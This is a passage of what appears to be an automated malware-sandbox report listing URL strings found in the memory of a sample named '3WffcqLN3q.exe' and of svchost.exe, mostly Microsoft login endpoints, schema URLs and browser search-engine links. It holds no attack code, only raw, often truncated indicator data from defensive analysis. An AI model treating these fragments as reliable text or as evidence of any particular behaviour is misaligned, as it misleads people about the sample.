Source: svchost.exe, 0000000B.00000002.3283557611.000001C41A35F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://dhttp://Passport.NET/STS09/xmldsig#ripledes-cbcices/SOAPFaultcurity-utility-1.0.xsd
Source: svchost.exe, 0000000B.00000003.2548345070.000001C41AA7D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283557611.000001C41A35F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2600297705.000001C41A30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2615643016.000001C41A30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2616122804.000001C41AA7D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283461261.000001C41A310000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: svchost.exe, 0000000B.00000003.2399225913.000001C41A355000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdoap.or
Source: svchost.exe, 0000000B.00000002.3283557611.000001C41A35F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsds
Source: svchost.exe, 0000000B.00000003.2380702114.000001C419A83000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: svchost.exe, 0000000B.00000003.2600297705.000001C41A30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2615643016.000001C41A30E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283461261.000001C41A310000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdS
Source: svchost.exe, 0000000B.00000002.3283557611.000001C41A35F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdp
Source: svchost.exe, 0000000B.00000002.3283557611.000001C41A35F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsds
Source: svchost.exe, 0000000B.00000003.2399225913.000001C41A355000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdse=
Source: 3WffcqLN3q.exe, 00000000.00000002.2628365408.0000000026FE1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digiA
Source: 3WffcqLN3q.exe, 00000000.00000002.2628365408.0000000026FE1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0A
Source: 3WffcqLN3q.exe, 00000000.00000002.2628365408.0000000026FE1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0X
Source: svchost.exe, 0000000B.00000002.3283850575.000001C41AAA5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283633896.000001C41AA15000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://passport.net/tb
Source: svchost.exe, 0000000B.00000002.3283613890.000001C41AA00000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/
Source: svchost.exe, 0000000B.00000002.3283557611.000001C41A35F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: svchost.exe, 0000000B.00000002.3283534320.000001C41A337000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: svchost.exe, 0000000B.00000002.3283534320.000001C41A337000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy
Source: svchost.exe, 0000000B.00000002.3283557611.000001C41A35F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy2
Source: svchost.exe, 0000000B.00000002.3283557611.000001C41A35F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy600
Source: svchost.exe, 0000000B.00000002.3283557611.000001C41A35F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc4
Source: svchost.exe, 0000000B.00000002.3283534320.000001C41A337000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/scken
Source: svchost.exe, 0000000B.00000002.3283557611.000001C41A35F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: svchost.exe, 0000000B.00000002.3283557611.000001C41A35F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: svchost.exe, 0000000B.00000002.3283557611.000001C41A35F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283248532.000001C419ACC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: svchost.exe, 0000000B.00000002.3283557611.000001C41A35F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: 3WffcqLN3q.exe, 3WffcqLN3q.exe, 00000000.00000002.2634778914.000000006C6ED000.00000002.00000001.01000000.00000008.sdmp String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: 3WffcqLN3q.exe, 00000000.00000002.2623091873.000000001ADD8000.00000004.00000020.00020000.00000000.sdmp, 3WffcqLN3q.exe, 00000000.00000002.2634523187.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: svchost.exe, 0000000B.00000002.3283294542.000001C419B02000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.w3.o
Source: 3WffcqLN3q.exe, 00000000.00000003.2150716888.0000000000A75000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: svchost.exe, 0000000B.00000003.2379135917.000001C41A340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379053201.000001C41A33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283039076.000001C419A45000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379169174.000001C41A363000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://account.live.com/InlineSignup.aspx?iww=1&id=80502
Source: svchost.exe, 0000000B.00000003.2378350232.000001C41A329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283294542.000001C419B02000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2380302512.000001C41A331000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2378615249.000001C41A352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379135917.000001C41A340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379053201.000001C41A33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2378350232.000001C41A32C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379169174.000001C41A363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283059346.000001C419A5F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://account.live.com/Wizard/Password/Change?id=80601
Source: svchost.exe, 0000000B.00000003.2378350232.000001C41A329000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80600
Source: svchost.exe, 0000000B.00000003.2378350232.000001C41A329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283294542.000001C419B02000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2378615249.000001C41A352000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80601
Source: svchost.exe, 0000000B.00000003.2378350232.000001C41A329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2378615249.000001C41A352000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80603
Source: svchost.exe, 0000000B.00000003.2378350232.000001C41A329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2378615249.000001C41A352000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80604
Source: svchost.exe, 0000000B.00000003.2378350232.000001C41A329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2378615249.000001C41A352000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80605
Source: svchost.exe, 0000000B.00000003.2379135917.000001C41A340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379053201.000001C41A33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283039076.000001C419A45000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379169174.000001C41A363000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80600
Source: svchost.exe, 0000000B.00000003.2379135917.000001C41A340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379053201.000001C41A33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283039076.000001C419A45000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379169174.000001C41A363000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80601
Source: svchost.exe, 0000000B.00000003.2379135917.000001C41A340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379053201.000001C41A33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379169174.000001C41A363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283059346.000001C419A5F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80603
Source: svchost.exe, 0000000B.00000003.2379169174.000001C41A363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283059346.000001C419A5F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80604
Source: svchost.exe, 0000000B.00000003.2379169174.000001C41A363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283059346.000001C419A5F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80605
Source: svchost.exe, 0000000B.00000003.2379099925.000001C41A357000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2378350232.000001C41A329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2378615249.000001C41A352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283534320.000001C41A337000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379135917.000001C41A340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379053201.000001C41A33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283039076.000001C419A45000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://account.live.com/msangcwam
Source: 3WffcqLN3q.exe, 00000000.00000002.2628365408.0000000026FAB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: 3WffcqLN3q.exe, 00000000.00000002.2628365408.0000000026FAB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: 3WffcqLN3q.exe, 00000000.00000003.2150716888.0000000000A75000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 3WffcqLN3q.exe, 00000000.00000003.2150716888.0000000000A75000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 3WffcqLN3q.exe, 00000000.00000003.2150716888.0000000000A75000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 3WffcqLN3q.exe, 00000000.00000002.2628365408.0000000026FAB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 3WffcqLN3q.exe, 00000000.00000002.2628365408.0000000026FAB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: 3WffcqLN3q.exe, 00000000.00000003.2150716888.0000000000A75000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 3WffcqLN3q.exe, 00000000.00000003.2150716888.0000000000A75000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 3WffcqLN3q.exe, 00000000.00000003.2150716888.0000000000A75000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 3WffcqLN3q.exe, 00000000.00000002.2628365408.0000000026FAB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: svchost.exe, 0000000B.00000002.3283039076.000001C419A45000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.ecur
Source: svchost.exe, 0000000B.00000002.3283294542.000001C419B02000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.l
Source: svchost.exe, 0000000B.00000002.3283294542.000001C419B02000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live
Source: svchost.exe, 0000000B.00000002.3283017591.000001C419A2B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com
Source: svchost.exe, 0000000B.00000002.3283727080.000001C41AA5E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/
Source: svchost.exe, 0000000B.00000003.2379135917.000001C41A340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379053201.000001C41A33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379169174.000001C41A363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283059346.000001C419A5F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ApproveSession.srf
Source: svchost.exe, 0000000B.00000003.2378350232.000001C41A329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2378615249.000001C41A352000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600
Source: svchost.exe, 0000000B.00000003.2378350232.000001C41A329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2378615249.000001C41A352000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601
Source: svchost.exe, 0000000B.00000003.2379238549.000001C41A36B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379169174.000001C41A363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283059346.000001C419A5F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80502
Source: svchost.exe, 0000000B.00000003.2379238549.000001C41A36B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379169174.000001C41A363000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600
Source: svchost.exe, 0000000B.00000002.3283059346.000001C419A5F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600er
Source: svchost.exe, 0000000B.00000003.2380302512.000001C41A331000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379238549.000001C41A36B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2378350232.000001C41A32C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379169174.000001C41A363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283059346.000001C419A5F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601
Source: svchost.exe, 0000000B.00000003.2379135917.000001C41A340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379053201.000001C41A33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283039076.000001C419A45000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ListSessions.srf
Source: svchost.exe, 0000000B.00000003.2379169174.000001C41A363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283059346.000001C419A5F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ManageApprover.srf
Source: svchost.exe, 0000000B.00000003.2379135917.000001C41A340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379053201.000001C41A33B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ManageApprover.srfr.srf
Source: svchost.exe, 0000000B.00000003.2379169174.000001C41A363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283059346.000001C419A5F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ManageLoginKeys.srf
Source: svchost.exe, 0000000B.00000003.2379135917.000001C41A340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379053201.000001C41A33B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ManageLoginKeys.srfrf
Source: svchost.exe, 0000000B.00000002.3283294542.000001C419AF5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283017591.000001C419A2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2621552945.000001C41AAE0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283059346.000001C419A5F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/RST2.srf
Source: svchost.exe, 0000000B.00000002.3283059346.000001C419A5F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/RST2.srft(
Source: svchost.exe, 0000000B.00000002.3283017591.000001C419A2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283039076.000001C419A45000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/didtou.srf
Source: svchost.exe, 0000000B.00000003.2379135917.000001C41A340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379053201.000001C41A33B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/didtou.srfm.srf
Source: svchost.exe, 0000000B.00000003.2379135917.000001C41A340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379053201.000001C41A33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283039076.000001C419A45000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/getrealminfo.srf
Source: svchost.exe, 0000000B.00000003.2379135917.000001C41A340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379053201.000001C41A33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283039076.000001C419A45000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/getuserrealm.srf
Source: svchost.exe, 0000000B.00000002.3283017591.000001C419A2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2378534530.000001C41A310000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379238549.000001C41A36B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283039076.000001C419A45000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379169174.000001C41A363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283059346.000001C419A5F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/DeviceAssociate.srf
Source: svchost.exe, 0000000B.00000002.3283017591.000001C419A2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379238549.000001C41A36B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379169174.000001C41A363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283059346.000001C419A5F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/DeviceDisassociate.srf
Source: svchost.exe, 0000000B.00000003.2379289952.000001C41A327000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/DeviceDisassociate.srff
Source: svchost.exe, 0000000B.00000002.3283017591.000001C419A2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379135917.000001C41A340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379053201.000001C41A33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283059346.000001C419A5F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/DeviceQuery.srf
Source: svchost.exe, 0000000B.00000002.3283017591.000001C419A2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379238549.000001C41A36B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379289952.000001C41A327000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379169174.000001C41A363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283059346.000001C419A5F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/DeviceUpdate.srf
Source: svchost.exe, 0000000B.00000002.3283017591.000001C419A2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379238549.000001C41A36B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379169174.000001C41A363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283059346.000001C419A5F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/EnumerateDevices.srf
Source: svchost.exe, 0000000B.00000003.2379289952.000001C41A327000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/EnumerateDevices.srfX
Source: svchost.exe, 0000000B.00000003.2379135917.000001C41A340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379053201.000001C41A33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379169174.000001C41A363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283059346.000001C419A5F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/GetAppData.srf
Source: svchost.exe, 0000000B.00000002.3283039076.000001C419A45000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/GetAppData.srfrfrf6085fid=cpsrf
Source: svchost.exe, 0000000B.00000003.2379238549.000001C41A36B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379169174.000001C41A363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283059346.000001C419A5F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/GetUserKeyData.srf
Source: svchost.exe, 0000000B.00000003.2379238549.000001C41A36B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2378350232.000001C41A32C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379169174.000001C41A363000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srf
Source: svchost.exe, 0000000B.00000003.2616093138.000001C41AA3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2564118123.000001C41A35A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srf?stsft=-Dmxmn
Source: svchost.exe, 0000000B.00000002.3283059346.000001C419A5F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srfssuer
Source: svchost.exe, 0000000B.00000003.2378350232.000001C41A329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2378615249.000001C41A352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379135917.000001C41A340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379053201.000001C41A33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379169174.000001C41A363000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80600
Source: svchost.exe, 0000000B.00000002.3283039076.000001C419A45000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80600UE
Source: svchost.exe, 0000000B.00000003.2378350232.000001C41A329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2378615249.000001C41A352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379135917.000001C41A340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379053201.000001C41A33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379169174.000001C41A363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283059346.000001C419A5F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80601
Source: svchost.exe, 0000000B.00000003.2378350232.000001C41A329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379135917.000001C41A340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379053201.000001C41A33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379169174.000001C41A363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283059346.000001C419A5F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80603
Source: svchost.exe, 0000000B.00000003.2378350232.000001C41A329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2378615249.000001C41A352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379169174.000001C41A363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283059346.000001C419A5F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80604
Source: svchost.exe, 0000000B.00000003.2379238549.000001C41A36B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.2379169174.000001C41A363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283059346.000001C419A5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.3283673456.000001C41AA3E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srf
Source: svchost.exe, 0000000B.00000003.2378350232.000001C41A32C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srfm
